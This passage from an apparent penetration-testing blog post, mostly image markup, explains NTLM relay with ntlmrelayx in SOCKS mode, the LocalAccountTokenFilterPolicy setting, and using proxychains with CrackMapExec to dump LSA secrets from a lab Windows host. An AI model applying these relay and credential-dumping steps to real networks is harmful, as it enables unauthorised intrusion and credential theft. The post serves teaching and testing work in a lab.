data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:72,&quot;width&quot;:1192,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31699,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!o9hj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 424w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 848w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 1272w, https://substackcdn.com/image/fetch/$s_!o9hj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F00284577-7dc0-43d1-9685-ca0d548496df_1192x72.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We can successfully authenticate, but we&#8217;re missing the yellow <code>(Pwn3d!)</code> CrackMap uses to denote admin rights. This is because non-RID 500 local accounts have their admin rights &#8220;filtered&#8221; away when logging in using methods like SMB. The registry key that controls this is <code>LocalAccountTokenFilterPolicy</code> found at <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</code>. The value is set to <code>0</code> on our target, meaning token filtering will take place:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qIuF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qIuF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 424w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 848w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 1272w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qIuF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png" width="978" height="226" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/b7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:226,&quot;width&quot;:978,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15263,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qIuF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 424w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 848w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 1272w, https://substackcdn.com/image/fetch/$s_!qIuF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7661192-9e0c-465b-beb6-3ae577507c8a_978x226.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>I do occasionally see machines with this set to <code>1</code> meaning PTH still yields admin access, but since it&#8217;s not, we&#8217;re a little stuck without cracking the hash and claiming the cleartext password. This is a prime situation to use the SOCKS feature of <code>ntlmrelayx</code>.</p><h1><strong>SOCKS Relay</strong></h1><p>We&#8217;ll restart the relay with the <code>-socks</code> flag:</p><pre><code><code>sudo python3 ntlmrelayx.py -tf ~/Desktop/targets -socks -smb2support</code></code></pre><p>Trigger the LLMNR/NBT-NS requests again, and we see the connection in the relay window, but no local account hashes:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Q-MC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Q-MC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 424w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 848w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 1272w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Q-MC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png" width="1026" height="226" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:226,&quot;width&quot;:1026,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:69539,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Q-MC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 424w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 848w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 1272w, https://substackcdn.com/image/fetch/$s_!Q-MC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F11eb6574-b87c-4efd-aceb-1c1851d8deb6_1026x226.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If we type <code>socks</code> into our relay prompt, we can see the active connections available, and if the session has admin rights on the target:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WHxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WHxZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 424w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 848w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 1272w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WHxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png" width="502" height="89" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:89,&quot;width&quot;:502,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:10194,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WHxZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 424w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 848w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 1272w, https://substackcdn.com/image/fetch/$s_!WHxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd01aea63-c1ed-4725-a046-c70df9ff70fc_502x89.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Since we have an available session, we can start using <code>proxychains</code> to take advantage of our admin rights on the target. Before we do, make sure <code>/etc/proxychains.conf</code> is configured to use port <code>1080</code>.</p><h3><strong>CrackMapExec</strong></h3><p>CME is usually my tool of choice so lets cover it first. Two things to note when running CME (and other tools) through proxychains with a SOCKS relay:</p><ol><li><p>We need to specify domain and username <em>exactly</em> how <code>ntlmrelayx</code> shows. If you look back at the screenshot of our available sessions, the username for the session shows <code>REDANIA/VIZIMIR</code>. We need to be aware of this - for example, if we don&#8217;t specify <code>REDANIA</code> as the domain, CME will default to <code>REDANIA.local</code> and the SOCKS session will not be utilizied properly.</p></li><li><p>The password we provide is arbitrary since the SOCKS proxy is going to use the session we gained from relaying auth previously. In my examples, the password used in commands is not the real password.</p></li></ol><p>Knowing this, lets test CME:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3HvG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3HvG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 424w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 848w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 1272w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3HvG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png" width="1152" height="211" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/d8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:211,&quot;width&quot;:1152,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78330,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3HvG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 424w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 848w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 1272w, https://substackcdn.com/image/fetch/$s_!3HvG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8f358fd-ec99-4d71-9588-f960a27d81ed_1152x211.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We have limited functionality with CME; <code>smbexec</code> may work, but <code>wmiexec</code> and <code>atexec</code> will fail since more than port 445 is used. But, we could still obtain local account hashes with <code>--sam</code> and registry secrets with <code>--lsa</code> (we could also use <code>secretsdump.py</code> directly). We already established that the local account hashes won&#8217;t help us much here, so lets check for LSA secrets:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!24Vu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!24Vu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 424w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 848w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 1272w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!24Vu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png" width="1286" height="436" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:436,&quot;width&quot;:1286,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:220908,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!24Vu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 424w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 848w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 1272w, https://substackcdn.com/image/fetch/$s_!24Vu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f83886-1003-418a-8ca4-0c4c9ba54817_1286x436.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>smbclient</strong></h3><p>In some environments I&#8217;ve gotten <code>smbclient</code> to work with the SOCKS proxy auth, however, here in my lab it&#8217;s decided not to:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-4wD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-4wD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 424w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 848w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 1272w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-4wD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png" width="660" height="120" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:120,&quot;width&quot;:660,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28978,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 